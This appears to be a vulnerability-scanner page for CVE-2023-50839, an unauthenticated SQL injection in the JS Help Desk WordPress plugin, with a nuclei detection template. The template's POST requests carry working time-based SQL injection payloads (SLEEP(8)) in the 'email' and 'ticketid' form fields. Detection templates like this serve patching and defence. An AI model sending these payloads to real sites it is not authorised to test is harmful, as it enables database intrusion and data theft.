JS Help Desk <= 2.8.1 - SQL Injection

criticalseverity

9.8CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

The JS Help Desk – Best Help Desk & Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to the latest version of JS Help Desk, version 2.8.2 or later.

How to confirm it

Send: GET /js-support-ticket-controlpanel/
Positive when: contains(body, "/wp-content/plugins/js-support-ticket")
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 302 and len(body) == 0 and contains(content_type, "text/html")
Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 302 and len(body) == 0 and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2023-50839 -u <target>

The full check

id: CVE-2023-50839

info:
  name: JS Help Desk <= 2.8.1 - SQL Injection
  author: Shivam Kamboj,s4e-io
  severity: critical
  description: |
    The JS Help Desk – Best Help Desk & Support Plugin plugin for WordPress is vulnerable to SQL Injection via the 'email' and 'trackingid' parameters in all versions up to 2.8.2 (exclusive) due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of JS Help Desk, version 2.8.2 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-50839
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/js-support-ticket/js-help-desk-281-unauthenticated-sql-injection-via-email-and-trackingid
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-50839
    epss-score: 0.02041
    epss-percentile: 0.81316
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,js-support-ticket,unauth

flow: http(1) && (http(2) || http(3))

http:
  - raw:
      - |
        GET /js-support-ticket-controlpanel/ HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/js-support-ticket")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /js-support-ticket-controlpanel/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

        form_request=jssupportticket&jstmod=ticket&task=showticketstatus&[email protected]' AND SLEEP(8)-- -&ticketid=test123

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 302'
          - 'len(body) == 0'
          - 'contains(content_type, "text/html")'
        condition: and

  - raw:
      - |
        @timeout: 20s
        POST /js-support-ticket-controlpanel/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

        form_request=jssupportticket&jstmod=ticket&task=showticketstatus&[email protected]&ticketid=1'+AND+(SELECT+1+FROM+(SELECT+SLEEP(8))x)--+-

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 302'
          - 'len(body) == 0'
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from